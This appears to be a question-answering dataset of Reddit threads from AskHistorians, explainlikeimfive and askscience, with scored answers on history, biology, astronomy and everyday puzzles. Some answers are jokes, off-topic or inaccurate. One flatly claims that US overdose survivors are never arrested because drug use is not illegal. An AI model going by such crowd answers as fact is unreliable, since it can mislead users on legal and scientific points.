{"q_id": "1psjti", "title": "What is the origin of the French word for orgasm (\"le petit mort\", literally \"little death\")? What is its relation with Baroque and Classical music?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1psjti/what_is_the_origin_of_the_french_word_for_orgasm/", "answers": {"a_id": ["cd5kvjp"], "score": [3], "text": ["Well, to clarify one point, it's not actually the French word for orgasm; that is in fact \"orgasme.\" \n\nHowever, with respect to your question of where the phrase comes from, I did find [a resource](_URL_2_) that pointed me towards the French surgeon and medical writer [Ambroise Par\u00e9](_URL_1_).\n\nFortuitously, Google Books has the complete works of the fellow (published 1860) on file. In this work, he writes that syncope (i.e., fainting) is called \"Petite mort\" because the fainted person is not moving and appears to be dead.\n\nSource: _URL_0_\n\nSo somewhere along the line, the phrase for being \"passed out\" became a literary reference to that blissful post-coital state."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.ca/books?id=SMUemVA1lNAC&amp;lpg=PA450&amp;ots=LYgzvgexpS&amp;dq=ambroise%20par%C3%A9%20petite%20mort&amp;pg=PA450#v=onepage&amp;q=ambroise%20par%C3%A9%20petite%20mort&amp;f=false", "http://en.wikipedia.org/wiki/Ambroise_Par%C3%A9", "http://www.expressio.fr/expressions/la-petite-mort.php"]]}
{"q_id": "2tpu14", "title": "How did the invention of reliable clocks change human life and culture?", "selftext": "According to *The Discoverers* by Boorstin, there was no reliable way of keeping track of minutes and seconds throughout the day until the invention of reliable clocks a few hundred years ago. Prior to this, people had to use sundials, which could only keep track of hours and only during the day, and hourglasses, which had to be reset manually.\n\nHow did this change human life and culture?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2tpu14/how_did_the_invention_of_reliable_clocks_change/", "answers": {"a_id": ["co1hk2v"], "score": [4], "text": ["Boorstin! Loved that book. \n\nJames Burke (and others) tied the invention and widespread availability of clocks with work. There's a [fun episode of *Connections*](_URL_1_) based around clocks. \n\nSome of the first clocks in Europe were used by monks who needed to keep track of times to pray. He rebuilds a water clock in that one based on a fragmentary 11th century manuscript found in a monastery in the Pyrenees. (It's around 16 minutes into that video.) It's designed to wake you up for [nocturns](_URL_0_), the prayers said in the middle of the night. \n\nHaving a tool to wake you up means you don't have to wait for the sun any more. You don't have to (or, more darkly, aren't *able* to) sleep according to your body's needs. You can get up and do things. \n\n---\n\nBy the way, those monastic alarm clocks were only about as old as [Su Song's clock tower](_URL_3_), which was a bit more impressive as a construction - it was 40 feet tall and built of bronze between 1088 and 1094 CE. \n\nUnfortunately, it was disassembled by an invading army about a century later and carted off to Beijing, where no one could figure out how to put it back together again. Only recently, in the 1990s, were some folks able to follow Su Song's book on clocks, figure out the stuff he didn't include (to keep folks from copying his ideas) and [rebuild the clock](_URL_2_) at Taiwan's National Museum of Natural Science. \n\nSong based his design on earlier Chinese water clock designs, one of which used mercury (which wouldn't freeze in winter). \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Nocturns", "http://vimeo.com/106724866", "http://www.gio.gov.tw/info/sinorama/8506/506116e2.html", "http://en.wikipedia.org/wiki/Su_Song"]]}
{"q_id": "2c0qak", "title": "what does it mean that earth is going into its 6th age of extinction?", "selftext": "I've been seeing articles about this and want to know what exactly this label indicates.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2c0qak/eli5_what_does_it_mean_that_earth_is_going_into/", "answers": {"a_id": ["cjarzwf", "cjask5o", "cjb5kt7", "cjb68yq"], "score": [67, 19, 2, 2], "text": ["It means that we're killing enough species to put us on par with meteorites. \n\nIt'd be an impressive achievement, were it not also an atrocity. ", "In the known history of the Earth, there have been five [mass extinction events](_URL_0_).\n\nThe rate of extinction that we're going through right now is about to be rapid enough to qualify as the start of a 6th event.\n\nIt kinda sucks. A lot.", "presently, about 10,000 species are going extinct every year. this far exceeds the number of new species emerging, therefore we are in a mass extinction event. since there are 5 known extinction events in earth's history, this qualifies as the 6th.", "\"Game over man! Game over!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Mass_extinctions"], [], []]}
{"q_id": "bc6zff", "title": "what is that \u201chits the spot\u201d feeling when you\u2019re hungry and eating good food?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bc6zff/eli5_what_is_that_hits_the_spot_feeling_when/", "answers": {"a_id": ["ekoa05s"], "score": [2], "text": ["There is a system in your brain called the reward system which has developed to \"reward\" you when doing things that encourage your survival. This includes primal behaviors like eating.\n\nThe brain knows that when you eat, you're doing something \"right,\" and it releases a bunch of feel-good chemicals in the reward system.\n\nThese chemicals include the neurotransmitter dopamine, which your brain interprets as pleasure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6jfkiu", "title": "Is Rasputin really viable candidate to hold a title of Russian Greatest Love Machine?", "selftext": "It's a common knowledge Rasputin was despised by many and his behaviour was considered far from holy. My question is do we remember him as scandalous just because he had an international prominence? Was he considered a great sinner was he just too sinful for a preacher/healer? Would his behaviour be considered outrageous if he was just a nobleman?\n\nAnd, of course, I'd like to hear some suitable specifics about his adventures.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6jfkiu/is_rasputin_really_viable_candidate_to_hold_a/", "answers": {"a_id": ["djeei9w", "djenjez"], "score": [61, 13], "text": ["If anybody is confused, [the title of this submission apparently refers to a song by Bony M](_URL_0_).", "I suppose the corrallary to this is whether there was some other person who could potentially hold the title."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=5yTVWXYctoY"], []]}
{"q_id": "554rqx", "title": "if someone overdoses on an illegal drug and lives, do they get arrested when they get out of the hospital?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/554rqx/eli5_if_someone_overdoses_on_an_illegal_drug_and/", "answers": {"a_id": ["d87iqdz"], "score": [49], "text": ["In the USA, no. The use of illegal drugs is not illegal. The possession/sale/transportation/manufacturing/distribution is what is actually illegal. As long as the person does not have any of the illegal substance on their person or anything illegal ON them, upon revival and stabilization they are let free. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c3v1p5", "title": "why is it that a drink that has cold condensation on it is very slippery, but a warm drink that is just wet, isn\u2019t?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c3v1p5/eli5_why_is_it_that_a_drink_that_has_cold/", "answers": {"a_id": ["ertdpdv"], "score": [5], "text": ["Condensation is caused when the cold liquid in the glass cools down the surrounding air. This causes the air to lose its capacity to hold onto moisture and therefore the moisture precipitates out of the air and sticks to the side of the glass. It doesn\u2019t happen with warm liquids because the warm liquid causes the air around it to warm up, as opposed to cooling down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9m955s", "title": "why do bull riders hold their arm up while riding?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9m955s/eli5_why_do_bull_riders_hold_their_arm_up_while/", "answers": {"a_id": ["e7cw2ru", "e7cw9sk", "e7eslwz"], "score": [15, 13, 3], "text": ["To counterbalance the violent motions of the bull, so their whole torso doesn't get jerked around quite as hard.", "To help balance. Touching the bull with the free hand is also against the rules and disqualifies the ride.", "It's a rule: touching yourself, the bull or the rope is an instant disqualifier.\n\n & #x200B;\n\nAs someone who rides horses (not bulls) I suspect it has a bit to do with keeping the sport pure. The idea is the best bull rider will not only ride the bull but be in harmony/balance/rhythm with the bull. I know with horses that you could technically be strong enough to grip with your shoulders and arms to stay on, but that takes away from the balance to get into the rhythm to ride the bucks. \n\nI'm imaging bull riders trying to grip with both hands and it causing their (heavy) heads to fall forward, which sounds like a recipe for even more head injuries. \n\nI'm not sure if the rule started with cowboys making fun of eachother (very possible) or the mechanics of how to balance properly with a bull...\n\nIf you look at pictures of eventers jumping horses down giant drop jumps, they will throw a hand back or bring one hand off of the reins for balance. Google : \" andrew nicholson down bank \" The first picture that pops up is a guy super casually jumping a horse off of a cliff into a pond with one hand on the reins. He is in perfect balance and exactly where you want to be when riding a buck from a horse or a bull. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "533unx", "title": "Was the US Navy considered a gay haven before the Village People song?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/533unx/was_the_us_navy_considered_a_gay_haven_before_the/", "answers": {"a_id": ["d7qj57d"], "score": [52], "text": ["This impression seemed to have grown in response to the Newport sex scandal, in which the Navy conducted a sting on male sailors going on land to have sex with other homosexual men. The trial received plenty of public attention (even greatly embarrassing Roosevelt--then Assistant Secretary of the Navy--due to the tactics he employed and the criticism of them in the media). It certainly contributed to the image of predatory gays as the first of the \"lavender scares\", so it wouldn't surprise me if it also created an image of the US Navy as a gay haven.\n\nLater on, homosexuality was proclaimed by Philip Wylie in the enormously popular *Generation of Vipers* (1945) as being \"...common in the Navy\". Also in 1945, four thousand homosexuals were let go from the Navy under Section 8 and placed in mental institutions. It's not  unlikely that these two events were linked.\n\nAt this point, discussions of the US Navy and homosexuality (though other Navies certainly carry on) largely stop. It's not until the 60s that Tom of Finland begins to draw sailors in lewd positions (though even this wasn't the US Navy, just loved by gay men in the US), and it takes until '77 (two years before the Village People song) for the first mainstream, fictional depiction of homosexuality in the Navy: the *Jeffersons* episode, 'Once a Friend'--though even that doesn't depict the US Navy as a \"gay haven\".\n\nEssentially: yes, for about two decades. After that, not really."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5o8f8u", "title": "if i rewatch a tv series how is it i remember the start more than the end even tho it has been longer since ive seen the start?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5o8f8u/eli5_if_i_rewatch_a_tv_series_how_is_it_i/", "answers": {"a_id": ["dchfnl8", "dchgvri"], "score": [3, 11], "text": ["Because you spend a lot of time remembering the start, which embeds it further in your mind. As you watch the series, and things happen based on previous events, you remember the previous events. Of course one of that happens for the end of the series, so it never has time to properly make it into long term storage. ", "This is a psychology thing! It's called the primacy effect, and is part of the serial position effect.\n\nWhenever you have a list of things, there are three things you are most likely to remember--the beginning, the end and anything out of place. \n\nAn example list:\n\nmango\napple\nbanana\norange\nvelociraptor\npeach\napricot\n\nThe beginning has more time to be settled in your brain than anything else. When you are on the apple, your mind's focus is split between apple and mango, and soon you think about banana. Mango had time all to itself, where the brain necessarily thought only about mango, while apple had no such luxury. This \"split\" focus gets worse as the list progresses.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qlya5", "title": "What would our solar system and life on Earth be like if we had two suns instead of one?", "selftext": "Would we have a nighttime? Would light on Earth look different depending on the color of the stars? What would our orbit look like?\n\nRelated question: Is it possible for some stars to orbit denser, more massive stars? Would they orbit in a way similar to the way planets orbit the sun in our solar system?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qlya5/what_would_our_solar_system_and_life_on_earth_be/", "answers": {"a_id": ["c3yn4qg", "c3ynbsa", "c3ynh17", "c3yot87"], "score": [2, 2, 2, 2], "text": ["The related question is yes, it is possible for some stars to orbit other stars, they are referred to as binary star systems.  [Sirius](_URL_0_) is an example of this, as is [Alpha Centauri](_URL_1_).  Both relativity close to our own solar system.", "Ask an Astrophysicist (NASA) has a pretty good answer: [_URL_1_](_URL_1_) as does Astrobiology: [_URL_0_](_URL_0_).", " >  Would we have a nighttime?\n\nYes, because in order to stably orbit two suns, we would have to be well outside their mutual orbit.\n\n >  Is it possible for some stars to orbit denser, more massive stars? Would they orbit in a way similar to the way planets orbit the sun in our solar system?\n\nYes, in fact this is common. It turns out that many visible stars are paired -- double stars. Not necessarily orbiting closely, but orbiting.\n", "There are two types of stable orbits:\n\n1. planet close to one sun, the other far away\n2. planet orbits both suns from far away\n\nIn scenario 1, you get a super bright star in the night sky during part of the year, many times brighter than the full moon.  It would be bright enough to see by, but not so bright it would affect the climate.\n\nIn scenario 2, you get two sun's next to each other...your nights get a little shorter, but otherwise pretty similar to what we have hear.\n\n >  Related question: Is it possible for some stars to orbit denser, more massive stars? Would they orbit in a way similar to the way planets orbit the sun in our solar system?\n\nHappens all the time, and they follow the same laws of gravity planets do.  In fact, we haven't completely ruled out a red or brown dwarf orbiting the sun. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sirius#System", "http://en.wikipedia.org/wiki/Alpha_Centauri"], ["http://www.astrobio.net/pressrelease/3659/planets-orbiting-a-binary-system", "http://imagine.gsfc.nasa.gov/docs/ask_astro/answers/980122c.html"], [], []]}
{"q_id": "3l5yft", "title": "Why is BSE transmissable to humans but not scrapie?", "selftext": "As far as I can tell, BSE is caused by consumption of scrapie-infected sheep, and humans eating BSE infected flesh causes vCJD. So why wouldn't humans eating scrapie infected sheep cause something similar? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3l5yft/why_is_bse_transmissable_to_humans_but_not_scrapie/", "answers": {"a_id": ["cv4dzw1"], "score": [2], "text": ["BSE, Scrapie and CJD are all prion diseases. Prions are like the unholy terror of the medical world. You thought viruses like Ebola and HIV were bad? pshh... Prions are are just proteins. They started life just like every other protein, with hopes and dreams of one day being a muscle fiber component, or maybe even a cell membrane transporter in a neuron. But somewhere along the way, it went bad: it got twisted into a weird shape, and would no longer be functional. But it twisted in such a way that whenever it bumped into another protein of the same type, it caused THAT protein to twist out of shape. This snowballs until there are no usable proteins of that variety, you (the human/sheep in which these proteins dwell) go crazy, and die.\n\nHumans get BSE because they eat an animal containing the wrongly-folded/twisted BSE protein, and there's enough similarity between the cow protein (pre twisting) and the human analog that it causes the human protein to twists. But with scrapie, there's a crucial variation in the amino acid sequence of the sheep protein that gets misfolded in scrapie and the human version of the protein. So when the scrapie protein bumps against the human protein, it doesn't cause misfolding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bbyly1", "title": "when we\u2019re scared of something, why does the brain make you think about it more rather than less?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bbyly1/eli5_when_were_scared_of_something_why_does_the/", "answers": {"a_id": ["ekme02b", "ekmmr8f", "ekmrhjn", "ekmv0rz", "ekmvi9z", "ekmxa8n", "ekmyy3j", "ekn13se", "ekn2gqo", "ekn3qjx", "ekn93p7", "ekn9bbf", "ekn9xqz", "eknao9j", "eknbz6p", "eknc3nn", "ekncmtr", "ekndoy3", "eknqgjk"], "score": [6750, 608, 38, 56, 21, 6, 2, 3, 7, 4, 7, 6, 2, 3, 2, 11, 2, 3, 2], "text": ["Evolution logic. If something is a threat to your life, you should invest all the resources you can in order to avoid it, so it takes first priority in your brain. \n\nImagine a rabbit getting hunted who would stop mid-chase to eat: his genes would not go very far.", "Being scared is basically your brain thinking that a thing might hurt you. You don't want to get hurt, so your brain is reminding you \"Hey, this might hurt you, try not to let this hurt you.\" If you forgot about the thing, you'd be more likely to get hurt by it.\n\nThis applies in terms of evolution too; everyone who didn't obsess over what they were scared of got eaten by it. Your many times great grandparents lived because they were aware of what might kill them.", "If you're scared of something, it's probably because it's a threat. If that's the case, you want to devote everything you have to avoid/deal with it in order to increase chances of survival.", "You're an animal. If you're scared and arent thinking about it, you increase your chance of dying.", "The organisms that didn't think about their fears were killed by them, and thus never produced offspring.", "Because if that's how our brains worked we wouldn't survive as a species.  You can't live long enough to breed if your survival strategy is whistling nonchalantly with your hands in your pocket.", "If something matters, you think about it more. \n\nIf you're scared of something, it's because it worries you and it matters.", "does this question bleed into the whole, fight/flight or freeze? then htat bleeds into psychotherapy, inherent traits then traits learned from netflix...i took a 20minute survey from youtube, i know what im talking about abit", "Thinking about something is often a good way to avoid it, and avoiding things you are scared of is a good way of not dying, which is strongly selected for.", "The key thing to remember is that in the early days of mankind, we didn't take enjoyment from scaring ourselves like we do now.\n\nSo if we thought of fire, or someone following us in the dark, there was usually a reason, so your brain would ramp up, looking for that thing, and it'd keep it front and centre so that you didn't get caught unawares.\n\nIt's a similar thing to why you can sometimes cut yourself and not notice. If your brain isn't looking for a threat and it gets a very small damage signal, it just goes \"that's not material to what I'm doing now\" and ignores it.\n\nSame way, say you're scared of spiders. There could be a spider in the room with you for ages and you don't notice it because your brain doesn't class that little black thing in the corner as a problem. But as soon as you look at it and realise it's the thing you're afraid of, you can't ignore it, because your brain classes it as a threat.", "In the past things that scared us were almost always things that would hurt us, and remembering it was just a survival tactic. Today we are so safe that we create artificial fear in the form of movies, amusement parks, and extreme sports. The newest and my favorite has to be social media.... people are actually anxious 24/7 because of their social media and that anxiety which is actually \"confused fear\" is so prevalent in our society that we have people actually taking medication to combat it, even though most of it is of our own creation.", "The caveman that went to check out the noise in the bush lived a lot longer than the one who thought it was just the wind.", "I think what you are talking about is when you perseverate over something you have no control over in anxious anticipation.\n\nI believe the answer to this is that anxiety is a natural need for watchfulness and focus gone awry. Your mind is reacting to the situation as if your life is in danger and putting you focus on that.", "Im not like a biologist or something, but think about it like when you\u2019re playing a video game. If you\u2019re targeting something, all your attention is on catching it. Likewise, if someone is targeting you, you\u2019ll be focused on getting away. It\u2019s pretty much the same thing with our brains. Since there is a threat, we\u2019re focusing all our attention on averting it", "The self preservation instinct that evolved into you after 2 million years of fighting saber cats and crocodiles", "Everyone here\u2019s saying its because the brain perceives anything you fear as a threat. I wanna know why tf my brain thinks a cockroach is a threat even though *I* know it isnt.", "To protect you I'd assume. Fear means we feel in danger of something. If we stop thinking about it, we might not be ready to protect ourselves if it happened. Thinking about it is basically us \"having our guards up\" so that we aren't caught, well, off-guard and unable to defend ourselves. Something like that.", "because your brain is preparing you to deal with your fear.  The basic fear reaction is fight or flight.  Or in more fundamental terms, when you're afraid of something you either Confront, and deal with the source of the fear, or Avoid -- run, hide or escape.\n\nUntil you successfully Avoid or Confront the source of your fear it will stay in your mind.  The brain hates an unanswered question.", "For survival.\n\nDanger is dangerous :P so our bodies naturally highten out alertness towards it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1ihz2j", "title": "Trying to remember a specific person from 19th Century Britain.", "selftext": "I took a class several years ago where we discussed Biographies. I may be combining people together, but I seem to remember he was a wealthy gentleman in Parliament (ran a hardware or a screw factory?) who eventually fought for public utilities (could have been just water and sewage). And just to be more vague, I'm thinking he may have been a Lord. \n\nI may be combining two people. For the life of me, I can't remember.\n\nThanks! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ihz2j/trying_to_remember_a_specific_person_from_19th/", "answers": {"a_id": ["cb4n0kh"], "score": [7], "text": ["[Joseph Chamberlain](_URL_0_), his nationalization of public utilities was dubbed \"Gas and Water Socialism\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Joseph_Chamberlain#Mayor_of_Birmingham"]]}
{"q_id": "wg4yz", "title": "viacom vs. directv", "selftext": "Can somebody explain what is going on?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/wg4yz/viacom_vs_directv/", "answers": {"a_id": ["c5d0rhi", "c5d0szw", "c5d0u55"], "score": [2, 2, 17], "text": ["Viacom wanted to raise the price that directv has to pay in order to air their stations to directv customers (MTV, comedy central, nickelodeon). Directv said no because that would mean raising customers prices. Viacom reacted by taking their channels off of directv service leaving those customers without the stations.", "DirecTV doesn't want to pay so much for Viacom programming. Viacom wanted to raise the price by an enormous 30% for licensing their stations.\n\nAs of now it's a stalemate; all Viacom stations (Comedy Central, Nickelodeon, MTV, etc) are gone on DirecTV, and to pressure DirecTV even further, many Viacom shows once available for free online are now taken down.", "Yeah, this is really pretty simple. Viacom wants more money from DirecTV for letting them carry their stuff. DirecTV doesn't want to pay more.\n\nViacom puts the screws to them by pulling their stuff, pissing off DirecTV customers, and then says, \"hey, we feel your pain. It's all DirecTV's fault. Why don't you call up and yell at them and threaten to cancel your subscription?\"\n\nAnd meanwhile DirecTV is going, \"hey, we feel your pain. It's all Viacom's fault, and we're hurting just like you.\"\n\nThis kind of game of chicken actually goes on between content providers and distribution networks all the time. Whenever the contracts come up for renewal basically. Viacom has a bit of an advantage here since it's not like the upset viewers who can't watch SpongeBob anymore are paying Viacom. It's DirecTV that has to deal with pissed off customers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4bqo9o", "title": "is r/the_donald satire or not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4bqo9o/eli5_is_rthe_donald_satire_or_not/", "answers": {"a_id": ["d1bixkv"], "score": [6], "text": ["It started as satire for sure, but there were always true supporters there who thought it was serious. It has slowly evolved into a more serious sub because of that, proving that if you pretend to be an idiot long enough you will eventually find yourself in the company of serious idiots. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "qecxp", "title": "area calculations", "selftext": "I'm moving into an apartment soon and got the floorplan for the apartment without it telling me the actual area of the rooms.\n\nIs there any way I can calculate this *(how big the rooms are)* by knowing that the total area is 58m2 and the floorplan looking like [this?](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qecxp/eli5_area_calculations/", "answers": {"a_id": ["c3wx2m3", "c3wy2si", "c3wzz52"], "score": [14, 85, 3], "text": ["Divide everything into rectangles and triangles. Say the big room in the top right, you can easily divide that into three rectangles, measure the length and breath of each to calculate the areas of each then add them together.\n\nSimilarly the room on the far right you can easily divide into two rectangles and a triangle and add the areas.\n\nThe area of a rectangle is the length by the breath. The area of a triangle is the base times the height divided by two.\n\n\n\nOnce you've done that add the areas all together and you have the area of the floorpan (in cm^2 or whatever you measured it in). Then you can divide that into the actual area of the apartment that was given to you to get the conversion factor between your plan and the real apartment. Eg, it could be 2 cm^2 = 1 m^2 or something. Then you can use that factor with the areas of the rooms you worked out from the plan to get the area of each actual room.", "[Here you go.](_URL_0_)\n\nIt's rough estimates, but you should be able to measure it out. All distances will be good down to ~15cm or so. \n\nEdit: I didn't label a couple sides, but you get the idea, I think.  I did this by digitizing the floor plan in AutoCAD. (I'm a civil engineer, yay!) Couple disclaimers: I included the closets in the total calculation, and I forgot the ^2 in the closet on the right. Took about 15 minutes to do. ", "Even though H1deki already solved this - here's the fun way to do it manually:\n\n1. Print (or trace) the floorplan onto graph paper.  Cut precisely along the border so you have a piece of graph paper the shape of the room.\n2. Cut-out a perfect 10cell x 10cell square of graph paper\n3. Weigh the cut-out of the floorplan.  Let us say that it is 10g\n4. Weigh the cut-out square of gaph paper.  Let us say that it is 8g\n5. You know the floorplan represents 58 m2.  Therefore, there are 5.8 m2 per gram of graph paper.\n6. Therefore, the square of graph paper, which is 8g, represents 46.4 m2 of floor space.\n7. The 46.4 m2 of floor space is equivalent to a 6.81m x 6.81m room.\n8. You now know that 1 cell of graph paper is 0.681m x 0.681m.\n9. Use your knowledge from #8 to measure the size of each room.\n\nMight be more work than it's worth, but would be a fun exercise, assuming you have graph paper and a precise scale.\n\n"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/6iSM1"], "answers_urls": [[], ["http://imgur.com/JhzpZ"], []]}
{"q_id": "1hoyjq", "title": "why does oxygen become lesser at higher altitudes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hoyjq/eli5why_does_oxygen_become_lesser_at_higher/", "answers": {"a_id": ["cawf32s", "cawf64l", "cawfnzh", "cawfo2w"], "score": [2, 5, 8, 3], "text": ["Because everything becomes lesser at higher altitudes. This is because it *can*, because a bunch of other air isn't sitting on it and mashing it down.", "The higher you get the less dense air gets. The % of oxygen stays the same but there is just less air per cubic feet ", "The atmosphere is held to the planet by gravity. The lower you are, the more air is piled up on top of you, which creates greater pressure. This is the same idea as when you feel the pressure go up in your ears as you dive to the bottom of a pool, or being the bottom kid in a dog-pile. Since air is less dense, it takes a much longer distance for the pressure change to be noticible; thousands of feet.\n\nSo, it is not only oxygen becoming lesser, it is all of the air pressure. At high altitudes, there is less sky above you, and the air is less dense. Each lungful of air contains less oxygen molecules. If you go high enough, you eventually need to carry along your own oxygen in bottles to give you enough.", "We live at the bottom of an ocean of air.  And the higher we go, there's not as much 'ocean' above us.  So it doesn't press down on us as much; it's not as heavy. And when we gradually break out of the 'ocean', we're in space."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5y8zip", "title": "what does it mean to be an american?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5y8zip/eli5_what_does_it_mean_to_be_an_american/", "answers": {"a_id": ["deo2pcm", "deo3h7q"], "score": [3, 2], "text": ["Where you are free to have your own thoughts and live your life the way you desire within the limitations of the law.", "To be an American you must either be born on American territory, born to an American parent or go through the process to be an American citizen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3pv49h", "title": "I've often heard the myth about German troops at the end of WW2 continuing to fight Soviet battalions in order to reach the Western Allies lines to surrender. Is there any truth to this, and if so was it in any way a major thing, or a rare occurrence that has been lionized suring the Cold War?", "selftext": "During the Cold War*\n\nAnd if it is wholly a fabrication, where did the story originate from.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3pv49h/ive_often_heard_the_myth_about_german_troops_at/", "answers": {"a_id": ["cw9wo2u", "cw9wvha", "cw9zpmg", "cwaioma"], "score": [31, 962, 131, 9], "text": ["As a follow up question, how much of this was due to the Nazis ideologies about the Soviets/Communists/Slavs being beneath them compared to the fear of the conditions under which they would be held as PoWs? ", "It's not a myth, and it extends even to the highest levels of the German military and governmental establishment. Albert Speer, Hitler's Minister of Armaments, makes it very clear in his book Inside the Third Reich that avoiding capture by the Russians was foremost on the minds of the Third Reich leadership at the time the Nazi government was falling apart. \n\nSome of this is ideological. But a not-inconsiderable part of it was because of the way the war was fought on the Eastern Front. Nazi racial ideology considered Slavs and Jews to be inferior races, and so they fought the war in the East with a view to extermination or enslavement of the natives. In the West, that wasn't the case. Because of that, the Germans much preferred to surrender to the Western Allies, knowing that the French, British and Americans would treat them much more humanely. Have a look at Evans's The Third Reich at War, if you want more details. ", "The German 12. Armee fought its way to the (by the Soviets) encircled 9. Armee just southeast of Berlin, joined up with it and together with a large number of civilians on the 1st of May. The two armies then fought their way through the Soviet lines and crossed the Elbe river in order to be able to surrender to the Americans.\n\nThe US troops even had to withdraw from their positions at the river banks close to the Tangerm\u00fcnde birgde becase Soviet shells intended for the desperately fleeing Germans were frequently landing among American troops. On the 7th of May 1945, the last survivors had found refuge behiond the lines of the US 9th Army on the western side of the Elbe.\n\n[Here's a map that shows the position of the 12. Armee and the 9. Armee before the offensive of 12. Armee](_URL_0_).", "A few posts have mentioned the surrender of Von Braun and other German scientists, and I'd like to add a little bit more on that aspect. First, an excellent book on this topic is Red Moon Rising, by Matthew Brzezinski, which goes into the history behind the Soviet and US rocket programs immediately following the war.\n\nThe rocket scientists that Brzezinski mentions (von Braun, Hirschler, etc) were literally smuggled out of Germany under the noses of the Russians, under the codename Operation Paperclip. This initiative, led by the Office of Strategic Services (OSS, a precursor to the CIA), focused on finding and \"convincing\" former Nazi scientist to continue their rocket research for the Allied (mainly U.S.) cause. I use the word \"convincing\" rather loosely; the Nazi scientist were well aware that the next great conflict, if one should arise, would be between the USSR and the West. The scientists were also well aware of the sentiments and the overall hostility of the Russians towards all Germans, especially those involved in the Nazi party. Although the topic of von Braun and his fellow scientist's \"Nazi past\" has been widely debated, the fact remains that in the eyes of the Russians, they were all equally guilty of being ardent Nazis.\n\n\nRealizing this, von Braun and his team of scientists decided to surrender en masse to the Americans. Although they knew that the Americans represented their best chance at continuing their scientific pursuits (not to mention, they had less of a chance of being shot on site by American soldiers than they did if they were to surrender to the Soviets,) the scientists still had reservations for their safety. As was happening all over Germany, hundreds of thousands of German civilians and soldiers were surrendering to the Americans, British, and French, only to be turned away or handed over to the Soviets, which meant almost certain death. As an insurance policy, von Braun had the foresight to hide copies of V-2 missile blueprints near an abandoned mine shaft in the recesses of Mittelwerk, which he would use to bargain for his group's safety if the need were to arise.\n\nAfter his surrender to American forces on May 2nd, 1945, von Braun gave his American captors the location of various factories (primarily Mittelwerk and Nordhausen) which still contained V-2 missiles and their components. These factories also contained the necessary machinery to create these V-2 parts, which the Americans dismantled and shipped back home. One of the most important discoveries that the Americans came across was the highly valued gyroscopic navigation computer that was revolutionary in the V-2, which was later implemented in the U.S. Redstone and Jupiter programs.\n\nVon Braun had played his cards correctly. Not only did he give the Americans the location of Mittelwerk, thereby giving them access to a literal V-2 assembly line complete with parts and machines, but he also was able to continue his work by volunteering to help the Americans with their fledgling rocket program. The Soviets, on the other hand, had to resort to more \"creative\" methods of nabbing Nazi scientists. These methods included: kidnapping, holding families for ransom, and \"shanghaiing\" drunk scientist in the middle of the night. Also, the quality of the missile parts and scientists that the Soviets were able to garner was far below that of the American's haul. What the Soviets got were second rate machines (and their operators,) middle-management type rocket engineers (those familiar with maybe one aspect of the project, but not with the \"big picture\") and so on. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.ibiblio.org/hyperwar/USA/USA-EF-Defeat/maps/USA-EF-Defeat-42.jpg"], []]}
